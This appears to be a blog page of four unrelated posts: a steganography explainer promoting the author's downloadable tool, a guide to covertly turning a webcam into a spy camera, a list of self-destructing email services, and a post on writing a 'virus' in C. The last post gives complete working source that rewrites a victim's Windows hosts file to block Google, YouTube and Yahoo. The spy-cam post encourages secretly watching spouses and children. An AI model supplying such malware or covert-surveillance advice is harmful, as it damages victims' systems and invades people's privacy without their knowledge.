Hide Data in Image, Audio and Video Files: Steganography

Ever wondered to know how to hide secret data in image, audio and video files? Well, in this post I will take you through a concept called steganography using which, it is possible to hide your secret information in image files, songs or any other file of your choice. At the end of this post, you can also download free stegnographic tools and start hiding your data.

 

Hide Data in Image

What is Steganography?

Steganography is a means of obscuring data where secret messages are hidden inside computer files such as images, sound files, videos and even executable files so that, no one except the sender and the receiver will suspect the existence of stealth information in it. Steganography may also involve the usage of cryptography where the message is first

encrypted before it is concealed in another file. Generally, the messages appear to be something else such as an image, sound or video so that the transfer of secret data remains unsuspected.

The main advantage of steganography over other methods such as cryptography is that, it will not arose suspicion even if the files fall in the hands of a third party. Unlike cryptographic messages, stegnographic messages will no way attract the attention of a third party by themselves. Thus stegnanography has an upper hand over cryptography as it involves both encryption and obscurity.

What are the Applications of Steganography?

Steganography is mainly used to obscure confidential information/data during storage or transmission. For example, one can hide a secret message in an audio file and send this to another party via email instead of sending the message in the textual format. The receiver on the other end will decrypt the hidden message using the private decryption key. In a worst case scenario, even if a third party does manage to gain access to the email, all he can find is the audio file and not the hidden data inside it. Other usage of steganography include digital watermarking of images for reasons such as copyright protection.

Even though steganography has many useful applications, some may use this technique for illegitimate purposes such as hiding a pornographic content in other large files. Rumors about terrorists using steganography for hiding and communicating their secret information and instructions are also reported. An article claiming that, al-Queda had used steganography to encode messages in images and transported them via e-mails, was reported by New York Times, in October 2001.

How do Steganography Tools Work?

Stegnography tools implement intelligent algorithms to carefully embed the encrypted text messages or data inside other larger files such as an image, audio, video or an executable file. Some tools will embed the encrypted data at the end of another file so that there will be enough room for storing larger data.

There are many steganography tools available online but only a few are able to work flawlessly. I did not find any tool that worked perfectly on both small and large data. However, I have  managed to develop my own tool that can work perfectly on all types of files and all size of data. The tool is called “Stego Magic“. You can download it from the following link.

Download StegoMagic.zip

The zip file contains two versions of Stego Magic: One for encrypting the text messages and the other for encrypting binary files. StegoMagic_TXT can be used to hide text messages in other files such as an image or a sound file. StegoMagic_BIN can be used to hide one binary file in another such as an executable file inside an image or an image inside a video file.

With Stego Magic, there is no limitation on the size and type of the file that you are intending to hide. For example, you can hide a video of size 1 GB in an image of size 1 MB or hide an executable file inside a WORD document. The tool is pretty straightforward to use and requires no special understanding of the concept.

At the end of the encryption process, a secret decryption key will be generated and the same is required during the decryption process.

How to Use Stego Magic?

Suppose you want to hide a text message inside a JPG file:

1. Place the JPG and the text file (.txt) in the same folder as that of StegoMagic_TXT.exe
2. Run StegoMagic_TXT.exe and follow the screen instructions to embed the text message inside the JPG image.

Please note that if you’re using Windows 7/Vista, right-click the file and select “Run as Administrator”. Otherwise the tool may fail to work properly.

1. Note down the secret decryption key.

Now you can send this image to your friend via email. To decrypt the hidden message, your friend should load this JPG file onto the Stego Magic tool and use the secret decryption key.

I hope you’ve now understood what is steganography and how to use it to hide your secret data. For queries and feedback, please pass your comments.

 

Turn Your Webcam into a Spy Cam for Free

You can now easily monitor your room, office or workplace for activities going on during your absence without having to invest on expensive hidden cameras. If you’ve ever wondered to find a way to turn your PC webcam into a spy camera, here is a simple and effective solution. This can be really handy to monitor your children and pets in home or even catch a cheating spouse red handed! For this, all you need is a computer with an Internet connection and a webcam attached to it.

If your computer meets the above simple requirements, then you are all set to go. The site called UGOlog.com provides a free solution to simply transform your webcam into a powerful spy camera in just a few steps. You can sign-up for a free account and start using the service immediately.

Since UGOlog service runs as a web application from within the browser, there is no need to install any additional software on your computer. That means, when your spouse or children look through the installed programs, they don’t find anything that arouses suspicion.

 

 

 

 

 

 

 

 

 

 

 

 

The following are some of the advantages of using UGOlog service over other software programs or a conventional spy camera:

• Firstly, the service comes for free, so that you don’t need to buy anything to start with.
• Unlike software programs such as “Webcam Monitor” which is complicated to configure and lacks stealth operation, UGOlog needs no installation and is simple to setup.
• UGOlog comes with powerful features such as as motion detection, email alerts, and interval snapshots.
• You have the option to view the camera remotely from anywhere just by logging into your UGOlog account.

Once you’ve created your account, you can take up a quick tour and browse through the configuration guide to begin using the service. The free version of UGOlog limits the service for only 1 webcam and 50 MB of storage space. If you wish to setup more than one camera and need additional space for recording more videos, you can easily switch for paid plans as per your convenience.

 

3 ways to send self-destructing emails

In the era of Snapchat and Poke, self-destructing messages on smartphones and tablets are the new fad. However, such self-deleting messages are not limited to handheld gadgets only. You can now send self-destructing messages via good old email too. Yes, there are a number of services in the market that let you send messages to others which get deleted once they read it.

 

 

Here are three online services that enable you to send self-destructing emails.

 

OneShar.es

 

This is an easy-to-use service which actually gives you a URL for the whatever message you have typed. And once the URL is opened for the first time, it gets invalidated and no one can again use it. And this service promises that the message is deleted from their servers too, which makes it a trust worthy service.

 

Privnote

 

It’s a pretty interesting concept on which it works. All you are supposed to do is go the website, type in the content that you wish to share, and click on Create Note button. Once done, it would give you a link which can be used in your email. The reader would click on this URL to read the message and once he/she reads it, the URL will get expired.

 

Self Destructing Message

 

This service lets you send mails anonymously as well as generate links for the messages. Then you need to click on the drop down and choose the seconds (number of seconds till which the reader can have the message open), type your message and click on Create Message button. Your self-destructing message is now ready.

 

Source: Dwarka Rao, PCsPlace, Techgig

 

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.

 

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> 

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

 

%windir%\system32\drivers\etc

 

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

 

127.0.0.1                                google.com

 

5. Delete all such entries which contain the names of blocked sites.